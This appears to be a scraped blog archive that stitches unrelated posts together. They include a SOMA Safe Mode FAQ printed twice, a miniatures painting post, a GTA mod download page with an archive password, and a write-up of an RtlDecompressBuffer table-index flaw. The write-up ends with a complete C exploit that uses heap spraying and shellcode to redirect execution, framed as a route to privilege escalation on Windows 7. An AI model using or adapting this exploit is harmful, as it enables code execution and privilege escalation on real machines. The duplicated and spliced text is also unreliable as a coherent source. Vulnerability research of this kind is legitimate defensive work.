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Jumat, 11 Desember 2020
Two Ways To Skin A Knee: 2021 Honda ADV150 Vs. 2021 Honda Trail 125
Selasa, 22 September 2020
Free Fire 1.39.0 APK+OBB Download
Free Fire 1.39.0 APK+OBB
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Screenshots
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Screenshots
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Senin, 21 September 2020
Sabtu, 12 September 2020
What Is SOMA's Safe Mode?
Tomorrow we will be releasing SOMA for Xbox One and along with this comes Safe Mode. This is a new way of playing the game that will also be available via Steam and GOG at the same time.
Since we announced Safe Mode there have been a lot of questions about it, so we thought this would be a good time to answer some of those and to clear up a few things. Here goes:
What is Safe Mode?
It is a version of the game where you cannot die - you are safe from harm. The game's various creatures are still there, they just won't attack you. If you've heard of the SOMA Steam mod "Wuss Mode", by steam user The Dreamer, then you should know the basic idea. The important thing to point out is that we don't simply turn off the creature's ability to attack and harm you. Instead, we've redesigned their behavior. Our goal has been for Safe Mode to not feel like a cheat, but for it to be a genuine way of experiencing the game. So we've considered what each creature should be doing, given their appearance, sound, and voice.
You can pick between Safe Mode and normal mode when starting up a new game.
Is the game still scary?
This obviously depends on what scares you, but the short answer is: yes, the game is still a horror game. However, since you can explore without a constant fear of failure, you will no longer have that type of tension. For people who aren't great at handling that aspect of horror gameplay, their journey through SOMA will be a lot easier in Safe Mode. But if it is the overall atmosphere that gets to you in a horror game - and, above all, the central themes - then game will still have plenty to be scared of.
What is the major difference in gameplay?
All of the puzzles, events, and so forth are still there. The big difference is that you'll no longer have to sneak past enemies. You don't need stealth in order to complete the game. Monsters might sound and act more threatening if they spot you, so there is still an incentive to being careful, but it's no longer mandatory to keep hidden. This will also allow you to explore some of environments more carefully.
Why release it now?
We actually considered releasing something similar at launch, but chose not to because we felt it would make the core intent of the game too unfocused. As people started to say that they really wanted to play the game and experience the philosophical sci-fi narrative, but couldn't because of the monsters, we started considering doing something about it. People liking the "Wuss Mode" mod was a good sign that we could solve this. However going back to a game you have already completed is not tempting so we put it off.
What eventually tipped the scales was the Xbox release where we wanted an extra feature to make the launch more interesting. Adding some sort of no-monster mode felt like the best option, and so Safe Mode was born! It also felt like it had been long enough since the original release, and the intended version of the game had been played and evaluated enough. Adding a new play mode wouldn't be a problem.
Will it come to PS4?
Yes! We hope to have it ready about 2 months from now. Sorry for not releasing it now, but a couple of issues have kept us from doing a simultaneous launch of Safe Mode.
I hope that clears things up! Let us know in the comments if you have any other questions!
Since we announced Safe Mode there have been a lot of questions about it, so we thought this would be a good time to answer some of those and to clear up a few things. Here goes:
What is Safe Mode?
It is a version of the game where you cannot die - you are safe from harm. The game's various creatures are still there, they just won't attack you. If you've heard of the SOMA Steam mod "Wuss Mode", by steam user The Dreamer, then you should know the basic idea. The important thing to point out is that we don't simply turn off the creature's ability to attack and harm you. Instead, we've redesigned their behavior. Our goal has been for Safe Mode to not feel like a cheat, but for it to be a genuine way of experiencing the game. So we've considered what each creature should be doing, given their appearance, sound, and voice.
You can pick between Safe Mode and normal mode when starting up a new game.
Is the game still scary?
This obviously depends on what scares you, but the short answer is: yes, the game is still a horror game. However, since you can explore without a constant fear of failure, you will no longer have that type of tension. For people who aren't great at handling that aspect of horror gameplay, their journey through SOMA will be a lot easier in Safe Mode. But if it is the overall atmosphere that gets to you in a horror game - and, above all, the central themes - then game will still have plenty to be scared of.
What is the major difference in gameplay?
All of the puzzles, events, and so forth are still there. The big difference is that you'll no longer have to sneak past enemies. You don't need stealth in order to complete the game. Monsters might sound and act more threatening if they spot you, so there is still an incentive to being careful, but it's no longer mandatory to keep hidden. This will also allow you to explore some of environments more carefully.
Why release it now?
We actually considered releasing something similar at launch, but chose not to because we felt it would make the core intent of the game too unfocused. As people started to say that they really wanted to play the game and experience the philosophical sci-fi narrative, but couldn't because of the monsters, we started considering doing something about it. People liking the "Wuss Mode" mod was a good sign that we could solve this. However going back to a game you have already completed is not tempting so we put it off.
What eventually tipped the scales was the Xbox release where we wanted an extra feature to make the launch more interesting. Adding some sort of no-monster mode felt like the best option, and so Safe Mode was born! It also felt like it had been long enough since the original release, and the intended version of the game had been played and evaluated enough. Adding a new play mode wouldn't be a problem.
Will it come to PS4?
Yes! We hope to have it ready about 2 months from now. Sorry for not releasing it now, but a couple of issues have kept us from doing a simultaneous launch of Safe Mode.
I hope that clears things up! Let us know in the comments if you have any other questions!
Warlord Germans...I Had No Idea....
Warlord infantry section
After years of slagging off 28mm WWII figures a combination of circumstances have led me to dip my toe in the water. To put it simply, I was pleasantly surprised, a lot of the figures I'd seen have been the late war, overly "heroic" (read: Fugly) style, which remain pretty horrible. Then I discovered these early war Warlord plastics, much different, presumably a different designer, nicely proportioned, and as with so many plastics these days, really cleverly designed in terms of pose compatibility within the sprues. I enjoyed putting together the plastics, took me back to the old Airfix multi-pose kits (remember them?) they fit together well, and have some cracking pose combinations.
Then the painting, great fun...a lot more to work with obviously than 20mm, and the overall design lends it to gaining a decent result with only moderate skill with modern paints and techniques.
These I did with Vallejo block painting, then slopping GW Nuln oil all over, then a 2 layer highlight, before doing the flesh last (Vallejo sunny skin with a Lavado skin wash), my usual old lazy basing of PVA and sand +Army Painter Autumn tufts.
I'll talk about the Stugs a bit later.
All this is for Chain of Command, I've found a group in London who play these terrific rules, so this lot will get their first outing next week. However, I have far grander plans for this lot in the future.
More to come!
Jumat, 04 September 2020
Download Flash Mod For Gta Sandeas
to see the control go to discription
discrription
to activate the flash press=TABE+QorE
to run faste press=w+x+space
to activate more contron see
F5: Toggle On/Off Power Level Control
F6: Show power bar
F7: Toggle on/off for Super Speed (press + to increase speed and - for decrease)
F8: Super Jump (no need to)
press Y or N: toggle on/off Walk on water
Tab: bullet time
To do wall-run: press W + Jump to the wall and hold
You can hold X: to run faster without Super Speed ability (F7
F9:Flying Jump
F10 Fly
F11 Super Strength
F12 Heatvision
F4 to turn ON/OFF
NOTICE: Please try this mod on clean GTA SA (no mod installed before)
plese first download win rar software (you coud not download winrar software your mod is not (working)
get winrar from here
mod password is fulla1
click here to download flash mod= here
Senin, 31 Agustus 2020
RtlDecompresBuffer Vulnerability
Introduction
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
let's check the disassembly on Win7 32bits:
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.
The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.
The algorithms callback table
Notice the five nops at the end probably for adding new algorithms in the future.
The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]
The bounrady checks
We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:
int RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4
if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}
Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.
let's check the disassembly on Win7 32bits:
- the movzx limits the boundaries to 16bits
- the test ax, ax avoids the algorithm 0
- the cmp ax, 1 avoids the algorithm 1
- the test al, 0F0h limits the boundary .. wait .. al?
Let's calc the max two bytes number that bypass the test al, F0h
unsigned int max(void) {
__asm__("xorl %eax, %eax");
__asm__("movb $0xff, %ah");
__asm__("movb $0xf0, %al");
}
int main(void) {
printf("max: %u\n", max());
}
The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9?
So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.
Proof of concept
This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.
The result on WinXP:
The result on Win7 32bits:
And the exploit code:
/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder
*/
#include
#include
#include
#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9
// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/
// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";
PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits
void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}
PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;
printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);
while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}
//map = HeapAlloc(heap, 0, 1*MB);
printf("Aproximated to [%x - %x]\n", map, map+1*MB);
printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);
return map;
}
void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}
void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));
}
int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;
RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");
heap = GetProcessHeap();
compressed_sz = estimated_uncompressed_sz = 1*KB;
compressed = HeapAlloc(heap, 0, compressed_sz);
uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);
spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");
ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);
switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;
case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;
case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;
case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;
default:
printf("weird decompression state\n");
break;
}
printf("end.\n");
}
The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7
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